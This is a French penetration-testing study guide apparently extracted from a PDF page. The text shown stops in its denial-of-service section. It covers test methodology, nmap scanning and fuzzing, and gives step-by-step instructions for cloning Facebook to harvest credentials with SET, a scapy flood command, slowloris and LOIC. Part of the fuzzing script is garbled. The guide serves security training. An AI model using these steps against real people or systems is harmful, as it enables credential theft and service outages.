Hacking Et Securite Avance-1 PDF [PDF]

  • 0 0 0
  • Gefällt Ihnen dieses papier und der download? Sie können Ihre eigene PDF-Datei in wenigen Minuten kostenlos online veröffentlichen! Anmelden
Datei wird geladen, bitte warten...
Zitiervorschau

2019

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Préface..................................................................................................................................................... 4 Pré-requis ................................................................................................................................................ 5 1. Introduction au test de pénétration................................................................................................ 6 2. Définition et méthodologies de test de pénétration ...................................................................... 6 2.1 Définition : Etablir une portée ....................................................................................................... 6 2.2 Guide pour établir une portée ................................................................................................ 6 2.3 Méthodologie de test de pénétration ..................................................................................... 7 2.4 Concept de test de pénétration sous Kali Linux ...................................................................... 9 3. Configuration des services réseaux et communications sécurisées ............................................. 10 3.1 Configuration du service SSH ...................................................................................................... 10 3.2 Configuration du proxy ................................................................................................................ 11 4. Mise à jour de Kali Linux ................................................................................................................ 11 5. Identification ................................................................................................................................. 12 5.1 Objectif de l’identification ........................................................................................................... 12 5.2 Méthodologie de l’identification ................................................................................................. 13 5.3 Les recherches initiales................................................................................................................ 13 5.3.1 Les outils à utiliser ................................................................................................................ 13 5.3.2 Méthodologie de la recherche ............................................................................................. 14 5.4 Les techniques de scanning ......................................................................................................... 14 5.4.1 L’outil NMAP......................................................................................................................... 14 5.4.1 L’outil METASPLOIT .............................................................................................................. 16 6. Social Engineering ......................................................................................................................... 17 6.1 Le concept du social engineering ................................................................................................ 17 6.2 Le processus et méthodes du social engineering ........................................................................ 17 6.2.1 Le processus d’attaque en SE ............................................................................................... 17 6.2.2 Les méthodes d’attaques ..................................................................................................... 17 6.3 Le Social Engineering Toolkit [SET] .............................................................................................. 18 6.3.2 Introduction au SET .............................................................................................................. 18 6.3.2 Mise en place d’un site d’hameçonnage .............................................................................. 18 7. Dénis de service ............................................................................................................................. 19 7.1 Introduction ................................................................................................................................. 19 7.2 Le Fuzzing .............................................................................................................................. 19 7.2.1 Principe du fuzzing ........................................................................................................ 19 7.2.2 Exploitation du fuzzing .................................................................................................. 20 7.3 Les techniques du DoS........................................................................................................... 21 7.3.1 Outils ............................................................................................................................. 21 7.3.2 Les catégories de DOS / DDOS....................................................................................... 22 7.3.3 Exploitation des outils ................................................................................................... 22 7.4 Les botnets ............................................................................................................................ 25 7.4.1 Introduction .......................................................................................................................... 25 7.4.2 Création d'un réseau de machine zombie avec BeFF ........................................................... 26 8. Attaques Serveur-Side ................................................................................................................... 27 8.1 Les recherches de vulnérabilités ................................................................................................. 27 8.1.1 Liste des outils ...................................................................................................................... 27 8.2 L'exploitation des vulnérabilités.................................................................................................. 31

21/11/2019

Table des matières

1 Hamza KONDAH

Joan LE DÛ

8.3 Le brute force .............................................................................................................................. 35 8.3.1 Introduction .......................................................................................................................... 35 8.3.2 L'outil HYDRA ........................................................................................................................ 36 8.4 Le cracking de mot de passe........................................................................................................ 39 8.4.1 Introduction .......................................................................................................................... 39 8.4.2 John The Ripper .................................................................................................................... 40 9. Attaques Client-Side ...................................................................................................................... 42 9.1 Le Social Engineering Toolkit [SET] : mode avancé ..................................................................... 42 9.2 Le cracking de mot de passe utilisateurs............................................................................... 52 9.2.1 Introduction .......................................................................................................................... 52 9.2.2 Les méthodes de cracking .................................................................................................... 53 9.2.3 Le stockage de mots de passe .............................................................................................. 53 9.2.4 Les Rainbow Tables .............................................................................................................. 53 9.2.5 Mots de passe Windows....................................................................................................... 55 9.2.6 Mots de passe Linux ............................................................................................................. 56 9.2.7 Les outils ............................................................................................................................... 56 9.3 MITM Proxy ................................................................................................................................. 62 9.3.1 Introduction .......................................................................................................................... 62 9.3.2 Mise en situation de mitm ............................................................................................ 63 9.4 Scanning ...................................................................................................................................... 66 9.4.1 lbd ......................................................................................................................................... 66 9.4.2 xprobe2................................................................................................................................. 67 9.4.3 nmap..................................................................................................................................... 68 9.4.4 metasploit............................................................................................................................. 69 9.4.5 Nessus................................................................................................................................... 72 9.4.6 Recon-ng Framework ........................................................................................................... 75 9.4.7 Openvas ................................................................................................................................ 78 9.5 Exploitation.................................................................................................................................. 81 9.5.1 Les cibles............................................................................................................................... 81 9.5.2 Threat Modeling ................................................................................................................... 81 9.5.3 Mise en pratique de quelques outils .................................................................................... 82 9.6 Elévation de privilège .................................................................................................................. 98 9.6.1 Introduction .......................................................................................................................... 98 9.6.2 Type d'élévation de privilèges .............................................................................................. 99 9.6.3 Mise en pratique de l'élévation de privilèges ...................................................................... 99 9.7 Maintien d'accès........................................................................................................................ 102 9.7.1 Introduction ........................................................................................................................ 102 9.7.2 Liste des outils à utiliser ..................................................................................................... 102 9.8 Autres Techniques Poste Exploitation ....................................................................................... 105 9.8.1 Bypasser le contrôle d'utilisateur Windows ....................................................................... 105 9.8.2 Reconnaissance : Langage WMIC ....................................................................................... 107 9.8.3 Trouver des informations sensibles ................................................................................... 107 9.8.4 Migration du processus de meterpreter pour dissimuler notre présence ........................ 109 9.8.5 Savoir si notre cible est une machine virtuelle .................................................................. 109 9.8.6 Récupération des états des outils de contre-mesure ........................................................ 110 9.8.7 Désactivation des outils de sécurité ................................................................................... 110 9.8.8 Dumper les registres de la cible ......................................................................................... 110 9.8.9 Récupération détaillée des informations sur notre cible ................................................... 111

21/11/2019

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

2 Hamza KONDAH

Joan LE DÛ

9.8.10 Capture d'écran sur notre cible ........................................................................................ 112 9.8.11 Rejouer token d'authentification en utilisant incognito .................................................. 112 9.8.12 Elévation de privilèges horizontale → SYSTEM ................................................................ 113 9.8.13 Accès à distance ............................................................................................................... 113 9.8.14 Effacer les traces .............................................................................................................. 113 10 Attaques Web .......................................................................................................................... 114 10.1 Calcul du risque ................................................................................................................... 114 10.2 Scanning .............................................................................................................................. 115 10.3 Attaque sur l'authentification ............................................................................................. 133 10.4 Exploitation.......................................................................................................................... 138 11 Attaque sur les réseaux sans fils.............................................................................................. 148 11.1 Introduction aux attaques sur les réseaux sans fils............................................................. 148 11.1.1 Qu'est-ce qu'un handshake ? ........................................................................................... 148 11.2 La configuration ....................................................................................................................... 149 11.3 La reconnaissance ................................................................................................................... 150 11.3.1 Aircrack-ng........................................................................................................................ 150 11.3.2 Kismet ............................................................................................................................... 151 11.4 Bypassing HSSID ...................................................................................................................... 152 11.5 Bypassing MAC Address Authentification ............................................................................... 154 11.6 Attaque WEP ........................................................................................................................... 156 11.6.1 Mode manuel ................................................................................................................... 156 11.6.2 Mode automatique .......................................................................................................... 158 11.7 Attaque WPA et WPA2 ............................................................................................................ 160 11.7.1 Attaque Brute-Force ......................................................................................................... 161 11.7.2 Attaque Reaver ............................................................................................................ 163 11.8 Clonage de point d'accès ......................................................................................................... 164 11.8.1 Création d'un "faux" point d'accès ................................................................................... 164 11.8.2 Clonage d'un point d'accès ............................................................................................... 164 11.8.3 Utilisation de l'attaque Man In The Middle...................................................................... 166 11.9 L'attaque DoS .......................................................................................................................... 168 11.9.1 Aireplay-ng ....................................................................................................................... 168 11.9.2 Websploit ......................................................................................................................... 168 12 Reporting ................................................................................................................................. 170 12.1 Introduction au reporting .................................................................................................... 170 12.2 Les types de reporting ......................................................................................................... 171 12.3 Les outils de reporting sous Kali .......................................................................................... 174 13 Contre-mesures ....................................................................................................................... 182 13.1 Introduction............................................................................................................................. 182 13.2 Tester vos défenses ................................................................................................................. 182 13.2 Gestion des patches ................................................................................................................ 182 13.3 Politique de mots de passe ..................................................................................................... 183 13.4 Mirroring et Backup................................................................................................................. 183 13.5 Man In The Middle .................................................................................................................. 183 13.6 Cookie ...................................................................................................................................... 183 13.7 Clickjacking .............................................................................................................................. 184 13.8 Forensic ................................................................................................................................... 184 14 Conclusion ............................................................................................................................... 184

21/11/2019

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

3 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Préface Bonjour à tous, La question que je me suis posée est "Pourquoi créer un tel document ?" Voilà la réponse : Technicien de maintenance en informatique de profession, j'ai eu la chance de pouvoir assister à une formation dans le domaine de la sécurité informatique, en 2015. Depuis ce jour, je m'auto-forme grâce à différentes formations, accessible aux débutants, et présentées par des experts dans le domaine comme Hamza Kondah, formateur chez alphorm.com. Sa formation "Hacking et Sécurité : Maitriser Les Techniques Avancées", m'a permis d'acquérir de nouvelles connaissances dans le domaine, en apprenant à utiliser de nouveaux outils pour effectuer correctement un audit de sécurité, de la partie préparation d'une méthode d'attaque, à la rédaction de rapport en passant, bien sûr, par l'utilisation d'une panoplie d'outils pour détecter les différentes failles présentes dans une infrastructure réseau. Son partage et ses conseils en tant qu'expert, m'ont donné l'idée de partager à mon tour, un document en complément de cette formation qui pourra, je l'espère, être utiliser en appui. Mon but est de rendre cette formation, accessible au plus débutant d'entre nous, aux passionnés, qui comme moi, s'accrochent, même sans diplôme d'ingénieur, pour espérer un jour, percer dans le domaine de la cybersécurité. Et oui, aujourd'hui, nombreuses sont les sociétés à avoir des œillères sur ces personnes motivées et passionnées mais sans le niveau scolaire adéquat. Je tiens à remercier, énormément, Hamza KONDAH, pour son accessibilité et de m'avoir laissé une chance de pouvoir m'exprimer en partageant ce document aux autres. Merci aussi au site Wikipédia qui m'a permis de mieux comprendre certains termes qui me semblaient techniquement compliqué. Sachez que ce document résulte d'une charge de travail d'une cinquantaine d'heure, avec, bien sûr, un sacrifice sur ma vie de famille. Alors pour faire vivre et évoluer ce document, n'hésitez pas à me faire des retours (correction, améliorations, …) sur mon adresse mail : gudbes[RemplacerCeciParUnArobase]protomail.com. Pour finir, voici l'un des secrets pour réussir dans ce domaine, le travail, le travail, le travail. Vous souhaitant bonne lecture et bon courage !

21/11/2019

Joan LE DU avec le travail d'Hamza KONDAH

4 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pré-requis Pour effectuer les différents tests, voici la liste des éléments que j'ai utilisés : ➢ ➢ ➢ ➢ ➢

Un ordinateur supportant la virtualisation niveau BIOS, mémoire, taille de disque, … Une machine virtuelle sous Métasploitable2 Une machine virtuelle sous Kali Une machine virtuelle sous Debian Une machine virtuelle sous un système Windows de préférence Windows XP mais mes tests ont été réalisés sous Windows 7 ➢ Une carte wifi de chez Alfa Network. Voici la référence de la mienne : AWUS036NHA ➢ Un point d'accès paramétrable pour nos tests sur les protocoles WEP et WPA ➢ Un autre ordinateur, smartphone pour les tests de client wifi

21/11/2019

Je pense ne rien avoir oublié.

5 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

1. Introduction au test de pénétration Evalution des risques : Analyse des services afin d’identifier des vulnérabilités.

≠ Test de pénétration : Va plus loin que l’évaluation des risques : Vérifie si les vulnérabilités trouvées sont des faux positifs ou pas

2. Définition et méthodologies de test de pénétration 2.1 Définition : Etablir une portée Définir comment le test de pénétration commencera et sera exécuté Connaissance de l’environnement Cerner l’infrastructure Aller droit au but

2.2 Guide pour établir une portée Définition du système cible Organisation sur papier des informations connues sur la cible (adressage, services, …) Time Frame Définir la durée Comment la cible sera évaluée Définir les points à exploiter / à tester sur la cible

21/11/2019

Les outils Définir les outils à utiliser pour chaque point. La partie prenante Directe ou indirecte

6 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

L’état de départ [TDP] Black Box : Aucune connaissance de l’entreprise : casquette du hacker qui va attaquer directement. White Box : Connaissances de ceux qui se passent dans l’entreprise : Workflow / Infrastructure. Grey Box : Connaissances limitées de l’entreprise. Identification des SPOF (Single Point Of Failure) Identifier les points importants qui pourraient rendre indisponible le réseau (point qui sera attaqué en priorité) Le flag Définir les niveaux de risques des vulnérabilités. Le livrable Méthodologie lors de l’écriture du rapport Correction et amélioration Indiquer les corrections et amélioration à faire pour corriger les failles.

2.3 Méthodologie de test de pénétration Plusieurs types de méthodologie disponible : • Open Source Security Testing Methodology Manual o ISECOM o Test et analyse à effectuer o Day-to-day : pas de planification de ce qui va se faire

Portée Collecter les informations Channel Spécifier canal de communication à utiliser Index Indexer les canaux pour spécifier les types d’attaques qu’on va pouvoir utiliser

21/11/2019

Vecteur Utilisation d’un vecteur d’attaque spécifique à exploiter

7 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES o

Les standards : Blind : On dispose de peu d’information concernant l’entreprise Double blind : Equivalent à la « black box » Gray box : On dispose de peu d’information concernant quelques vecteurs Double gray box : Equivalent à la « white box » Tandem : Détailler l’état d’avancement concernant la cible Reversal : Equivalent à la « white box » avec le détail de ce qui a été testé ou non, au fur et à mesure

• Information Systems Security Assessment Framework [ISSAF] o o o o o

Open Source Test et analyse Framework Niveau technique et manageriel Très riche niveau technique et contient plusieurs Baselines

• Open Web Application Security Project Testing Guide [OWASP] o o o o

L’une des plus importantes méthodologies Communauté Open Source Secure Coding et meilleurs pratiques Orienté sur l’évaluation des risques

• Web Application Security Consortium Threat Classification [WASC-TC] o o o o o

Orienté identification des risques de sécurité Consiste à suivre une série de procédures de test Developement Life Cycle : orienté cycle de développement Similaire à l’OWASP Différentes visions :

21/11/2019

Enumeration view : Enumération des techniques utilisées par l’application et de ses failles Development view : Méthodologie orientés "cycle de vie du développement" Toxonomy cross-reference view : Indique la référence de la faille trouvée : CVE

8 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

• Penetration Testing Execution Standard [PTES] o o

Efficace sur n’importe quel environnement : Conseillé pour les débutants 7 phases de test Pre-engagement interactions : Définition avec le client du cahier des charges de la façon la plus précise. Intelligence gathering : récolte d’information Threat modeling : Réalisation d’une cartographie des risques. Vulnerability analysis : Analyse des vulnérabilités Exploitation Post-exploitation Reporting : édition d’un rapport

2.4 Concept de test de pénétration sous Kali Linux Les menus de Kali Linux se divisent comme suit :

Target Scoping : Etape pour mettre en place la portée de nos cibles Information gathering : Récolte d’information Target discovery : Analyse/découverte de la cible Enumerating target : enumération des services/ports utilisés par la cible Vulnerability mapping : Lister toutes les vulnérabilités Social enginerring : failles humaines Target exploitation : Exploitation des failles recensées (accès à un shell) Privilege escalation : accéder au plus haut privilège : root Maintaining access : Maintenir l’accès avec des backdoors, … Documentation and reporting : Elaboration d’un rapport de façon professionnel

21/11/2019

1. 2. 3. 4. 5. 6. 7. 8. 9. 10.

9 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

3. Configuration des services réseaux et communications sécurisées 3.1 Configuration du service SSH # Par sécurité, il est préférable de regénérer les clés par défauts # Déplacement vers le répertoire « /etc/ssh/ » $ cd /etc/ssh/ # Création du dossier « keys_default » $ mkdir keys_default # Transfert des « anciennes clés » dans ce dossier $ mv ssh_host_* keys_default # Regénération de nouvelles clés $ dpkg-reconfigure openssh-server ALLER PLUS LOIN : Il est possible de vérifier que les checksums des anciennes et nouvelles clés sont bien différents $ md5sum * & md5sum keys_defaults/* 803ab86434558f907fa07d102a91687d ssh_host_ed25519_key … 76c36071e8da3d1fdfb3a3e57ab63d0b keys_default/ssh_host_ed25519_key

# Démarrage du service SSH $ /etc/init.d/ssh start

21/11/2019

# Pour vérifier que le service SSH est bien lancé en tâche de fond $ netstat -antp Connexions Internet actives (serveurs et établies) Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 4524/sshd tcp 1 0 192.168.184.129:55508 192.99.200.113:80 CLOSE_WAIT 2810/http tcp 0 0 192.168.184.129:55034 212.27.60.27:80 ESTABLISHED 2811/http tcp6 0 0 :::22 :::* LISTEN 4524/sshd

10 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO : L'outil "NetStat" permet d'afficher les connexions actives (ports ouverts, ...) et d'afficher les statistiques de l'interface (Nombre de paquet envoyé, ...) -a : Affiche les connexions TCP et UDP avec l’état « LISTEN » -n : Affiche les adresses au format numérique -t : Affiche l’état de déchargement de connexion actuel -p : Affiche le PID ainsi que le nom du processus : 4524/sshd

3.2 Configuration du proxy # Modification du fichier « proxychains.conf » $ vi /etc/proxychains.conf Décommenter la ligne : dynamic_chain Ajouter vos proxies dans la partie [ProxyList] # Modification du fichier « bash.bashrc » $ vi /etc/bash.bashrc Ajouter à la fin du fichier, les lignes suivantes, actualisées à votre configuration • export ftp_proxy= ftp://user:password@proxyIP:port • export http_proxy= « http://user:password@proxyIP:port » • export https_proxy= « https://user:password@proxyIP:port » • export socks_proxy= http://user:password@proxyIP:port # Création et remplissage du fichier « apt.conf » $ vi /etc/apt/apt.conf • Aquire::ftp_proxy= ftp://user:password@proxyIP:port • Aquire::http_proxy= « http://user:password@proxyIP:port » • Aquire::https_proxy= « https://user:password@proxyIP:port » • Aquire::socks_proxy= http://user:password@proxyIP:port

4. Mise à jour de Kali Linux La première chose à faire, après l’installation de Kali, est de vérifier la présence de mise à jour La commande « apt » récupère les sources issues du fichier « /etc/apt/source.list »

21/11/2019

apt update : Mise à jour des sources apt upgrade : Mise à jour des applications apt dist-upgrade : Mise à jour de la distri

11 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

5. Identification 5.1 Objectif de l’identification Cette étape est très importante. Il faut bien se repérer avant d’attaquer, afin de faire cela avec plus d’efficacité et de précision (savoir où frapper).

1. 2. 3. 4. 5. 6. 7. 8. 9.

Background de la cible : phase de recherche : historique, … Associés de la cible : facteur humain, … Investissement en sécurité : découverte des moyens « sécurité informatique » mis en place. Business & politique de sécurité : L’entreprise possède-t-elle des livres blancs, une politique de sécurité, … Personne en contact avec la cible : permet l’attaque en Social Engineering Définir la (les) cible(s) : personne, serveur, … Réseaux de la cible : découverte du réseau de la cible Défenses de la cible : découverte des défenses de la cible Technologie de la cible : découverte des technologies de la cible

21/11/2019

Seulement après ces étapes, on peut commencer la phase de recherche de vulnérabilité, suivi de la phase d’exploitation.

12 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

5.2 Méthodologie de l’identification L’objectif de l’identification est de rassembler le plus d’information possible facilitant ainsi l’exploitation.

La cible peut nous identifier à tout moment mais plus nous allons vers l’analyse des vulnérabilités, plus les chances de se faire détecter augmentent (IDS, …). Il existe des techniques de camouflage comme par exemple : Ajuster le Stack IP, Nmap, ProxyChains ou encore le réseau TOR.

5.3 Les recherches initiales Les recherches initiales doivent se baser principalement sur les personnes et Business liées à la cible. Il s’agit là de la base du pentesteur : analyser tous les aspects pour avoir la plus grande surface d’attaque et ainsi « connaître son ennemi ».

5.3.1 Les outils à utiliser Shodan Region Internet Registries [RIRs] Electronic Data Gathering, Analysis, and Retrieval [EDGAR] Google Hacking Database

Il faut toujours commencer par le site web de l’entreprise puis compléter par des informations au niveau des BDD publics pour éventuellement utiliser l’ingénierie sociale.

21/11/2019

o o o o

13 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

5.3.2 Méthodologie de la recherche 1. Se connecter sur le site de l’entreprise pour y récupérer le maximum d’information. 2. Consulter le fichier « robots.txt » du site en question (exemple : https://www.lancope.com/robots.txt) qui peut nous donner des informations sur des dossiers et/ou fichiers « cachés » 3. Utilisation du « Google Hacking Database [GHDB] », pour cela, rendez-vous sur https://www.exploit-db.com rubrique « Google Hacking Database ». Sélectionner le menu souhaité (exemple : Sensitive Directory) 4. Utilisation des Registres Internet, par exemple : https://www.arin.net, https://www.sec.gov (rubrique « Company Fillings ») ou encore https://www.societe.com 5. On peut compléter notre recherche, par le site whois (https://www.whois.net) qui nous offrira grâce au nom de domaine, des informations supplémentaires. 6. Pour permettre de retrouver d’anciennes données ou de visualiser des versions antérieures d’un site internet, le site https://www.archive.org est parfait pour cela. 7. Le site Shodan : https://www.shodan.io permet d’avoir accès aux objets quotidiens connectés à Internet. On peut, par exemple, accéder à la caméra d’une entreprise ou pire au système SCADA [ Système de contrôle d'acquisition de données ].

5.4 Les techniques de scanning INFO : Il existe 3 états possibles pour un port : - OPEN : On envoie une requête SYN, on reçoit une SYN+ACK de la cible et on ferme la connexion avec un RST - CLOSE : On envoie une requête SYN, on reçoit une RST+ACK de la cible - FILTERED : On envoie une requête SYN, on ne reçoit pas de réponse : indique généralement un pare-feu quelque part

5.4.1 L’outil NMAP

# Scan de ports pour des machines présentes sur un réseau donné $ nmap 192.168.1.0/24 # Scan de ports pour une portion d’adresse IP : ici de 192.168.1.1 à 192.168.1.20 et de 192.168.1.100 à 192.168.1.254 $ nmap 192.168.1.1-20,100-254

21/11/2019

La commande « nmap » permet de connaitre les ports ouverts sur notre cible. # Scan de ports pour une machine unique $ nmap 192.168.1.12

14 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Scan sur une machine cible avec choix des ports : ici les ports 21 et 80 $ nmap 192.168.1.12 -p 21,80 # Scan sur une machine cible avec plus de détail (mode verbose) -v : détaillé, -vv : très détaillé $ nmap 192.168.1.12 -vv # Scan en mode « rapide » : Ne scanne que les ports listés dans le fichier nmap-services $ nmap 192.168.1.12 -F # Scan d’un réseau avec exclusion d’une adresse IP définie $ nmap 192.168.1.0/24 --exclude 191.168.1.210 # Scan faisant un simple ping avant de scanner le poste $ nmap -PE 192.168.1.12 # Scan pour récupérer le timestamp (horodatage) : la date et l’heure $ nmap -PP 192.168.1.12 # Scan pour récupérer le masque réseau $ nmap -PM 192.168.1.12 # Scan pour savoir si le ou les poste(s) sont en ligne (protocole ICMP) $ nmap -sP 192.168.1.0/24 # Scan permettant de cartographier les règles de pare-feu : ne détermine jamais les ports OPEN # Envoie uniquement un flag ACK et qui doit répondre par une requête RST # Si la réponse de la requête ACK est SYN+ACK, alors que les autres tests indiquent un port FILTRED. # Attention backdoor possible $ nmap -sA 192.168.1.12 # Scan idem que -sA mais avec une autre méthode (pour plus de détail : https://nmap.org/book/scan-methods-window-scan.html) $ nmap -sW 192.168.1.12 # Scan qui envoie une trame vide # Le port est OPEN si la cible ne répond pas et le port est CLOSE si la cible répond par un paquet RST $ nmap -sN 192.168.1.12

# Scan utilisant traceroute pour visualiser les étapes de la connexion $ nmap --traceroute google.fr -p 80 # Scan qui analyse les bannières applicatives des programmes : découverte du nom du logiciel ainsi que la version $ nmap -sV 192.168.1.12 -p 80

21/11/2019

# Scan flag (Custom TCP) : personnalise notre trame : ici SYN+PSH+URG $ nmap --scanflags SYNPSHURG 192.168.1.12 -p 21,80

15 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Scan idem à -sV mais avec le détail des options disponibles sur le service $ nmap -sV 192.168.1.12 -p 80 --version-trace # Scan permettant de récupérer le système d’exploitation utilisé (complété avec l’option -vv pour plus de détail) $ nmap -O 192.168.1.12 # Scan possible depuis un port autorisé (lors de la détection d’un pare-feu) $ nmap 192.168.1.12 -g 22 # Scan rajoutant des octets en aléatoire dans la partie data (lors de la détection d’un pare-feu) # NDRL : Semble assez puissant lors du test sur mon réseau $ nmap 192.168.1.12 --data-length 4 # Scan avec modification de la TTL $ nmap 192.168.1.12 --ttl 64 # Scan en mode sniffing : visualisation des paquets envoyés et reçus # NDRL : Semble assez puissant lors du test sur mon réseau $ nmap 192.168.1.12 -r -n -T2 --packet-trace -p 100-400 # Affichage des interfaces et des routes de l'hôte (pour débogage) $ nmap --iflist # Scan en mode debug (-dx ou x est le level du détail du scan) $ nmap 192.168.1.12 -sS -n -d1

5.4.1 L’outil METASPLOIT Pour lancer metasploit depuis un terminal : msfconsole Pour afficher la liste des scanners disponibles :

21/11/2019

Depuis le terminal : search auxiliary Depuis le site (très bien expliqué) : https://www.offensive-security.com/metasploitunleashed/auxiliary-module-reference

16 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

6. Social Engineering 6.1 Le concept du social engineering Définition : Le social engineering est la pratique d’obtention d’informations critiques en exploitant la faille humaine. Sources littéraires intéressantes : • •

Art Of Deception Social Engineering : The Art of Human Hacking

Cette technique peut être utilisée par les pentesteurs en cas de manque d’information sur la cible. L’être humain représente le maillon le plus vulnérables dans une infrastructure.

6.2 Le processus et méthodes du social engineering 6.2.1 Le processus d’attaque en SE

6.2.2 Les méthodes d’attaques Usurpation d’identité : Usurpé l’identité d’une personne travaillant ou en contact avec la cible

o

Réciprocité : Créer un environnement de confiance partagé avec la cible : avis politique, tendance technologique)

o

Autorité influente : Se fait passer pour une personne hiérarchiquement supérieure à la cible

o

Profit : Pour les personnes qui jouent aux jeux de hasard : leur annoncer un gain

o

Relation sociale : Utiliser les réseaux sociaux

21/11/2019

o

17 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

6.3 Le Social Engineering Toolkit [SET] 6.3.2 Introduction au SET Le Social Engineering Toolkit [SET], est une boîte à outils pour l’Ingénierie Sociale, développé par la société TrustedSec. Elle est open-source, multiplateforme, écrite en python et propose diverses attaques basées sur de l’hameçonnage informatique. On peut ainsi copier des pages web contenant des formulaires (Facebook, banque, …). De plus, elle intègre un outil de mail-bombing permettant de spammer les boites mails et les numéros de téléphone. Elle peut être utilisée avec Metasploit.

6.3.2 Mise en place d’un site d’hameçonnage # Editez le fichier « 000-default.conf » dans le dossier /etc/apache2/sites-enabled $ nano /etc/apache2/sites-enabled/000-default.conf # Vérifier que la ligne « DocumentRoot /var/www/ » existe bien # Lancer le programme SET via le menu KALI -> 08 – Outils Exploitation -> social engineering toolkit # Choisir 1) Social-Engineering Attacks # Choisir 2) Website Attack Vectors # Choisir 3) Credential Harvester Attack Method # Choisir 2) Site Cloner # Indiquer l’adresse IP de la machine local (exemple : 192.168.1.12) # Choisir l’adresse du site web à cloner (exemple : www.facebook.com) # Pour tester le site, tapez dans votre navigateur : 192.168.1.12 # Indiquer une adresse mail et un mot de passe

# Pour une meilleure finition, il est possible de lier www.facebook.com à 192.168.1.12 via le DNS

21/11/2019

# Les données collectées s’affiche dans le terminal

18 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

7. Dénis de service 7.1 Introduction Une attaque par déni de service (abr. DoS attack pour Denial of Service attack en anglais) est une attaque informatique ayant pour but de rendre indisponible un service, d'empêcher les utilisateurs légitimes d'un service de l'utiliser. À l’heure actuelle la grande majorité de ces attaques se font à partir de plusieurs sources, on parle alors d'attaque par déni de service distribuée (abr. DDoS attack pour Distributed Denial of Service attack). Une fois qu’une ressource est accessible via Internet, elle peut être sujette aux dénis de service. Le DOS est difficile à stopper et peut être très couteux pour les sociétés, mais il existe des solutions de contournement.

Dénis De Service [DOS] Attaque à partir d’une source 1 2

Dénis De Service Distribué [DDOS] Attaque à partir de plusieurs sources (PC Zombie 1, botnets2, …)

PC Zombie : ordinateur contrôlé à l'insu de son utilisateur par un cybercriminel. Botnet : Programmes connectés à Internet exécutant certaines tâches.

7.2 Le Fuzzing

Le Fuzzing est une technique, pour tester les applications, qui consiste à injecter des données aléatoires dans un programme et d’en étudier ses conséquences (bugs). Elle peut être intéressante pour trouver des Buffer OverFlow [BOF].

21/11/2019

7.2.1 Principe du fuzzing

19 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Exemple de point d’entrée d’un programme : Fichiers périphériques Variables d’environnement Réseau Limitation des ressources

7.2.2 Exploitation du fuzzing Pour tester un exploit basé sur le fuzzing nous allons utiliser l’exemple du logiciel connu pour sa vulnérabilité : CesarFTP 0.99g avec un script en python : ftp_fuzz.py #Source : Livre "Kali Linux Network Scanning Cook" – Chapitre 6 "Denial of Service" – page 299 #!/usr/bin/python import socket import sys if len(sys.argv) != 5: print ( "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]") print ("Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000") print ("Example will fuzz the defined FTP service with a series of line break ") print ( "characters to include 100 '\\n's, 200 '\\n's, etc... up to the maximum of 1000") sys.exit() target = str(sys.argv[1]) port = int(sys.argv[2]) i = int(sys.argv[3]) interval = int(sys.argv[3]) max = int(sys.argv[4]) user = raw_input(str("Enter ftp username: ")) passwd = raw_input(str("Enter ftp password: ")) command = raw_input(str("Enter FTP command to fuzz: ")) while i 10000 par exemple) de paquet mal formé (ttl=0) qui va créer la # confusion pour le serveur cible et provoquer un DoS $send(IP(dst="AdresseIPDeLaCible",ttl=0)/TCP(),iface="NomDeLInterfaceReseauUtilisée",count=N ombredepaquetEnvoyé)

22 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

ALLER PLUS LOIN :

21/11/2019

Liste des options pour créer des paquets erronés qui provoqueront, si leur nombre sont élevés, des DoS

23 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES ➢ SLOWLORIS.PL Ce script lance des connexions HTTP (entêtes) à intervalles réguliers pour maintenir les connexions TCP empêchant les autres connexions http (de client par exemple) de se connecter et arrivant à terme à un Dénis de Service. # Lancement du script $ ./slowloris.pl -dns AdresseWebDeLaCible

➢ LOIC Il s'agit d'un script, utilisé par Anonymous, pour provoquer des DoS de façon très user-friendly. Téléchargeable ici : https://github.com/NewEraCracker/LOIC/ Pré-requis :

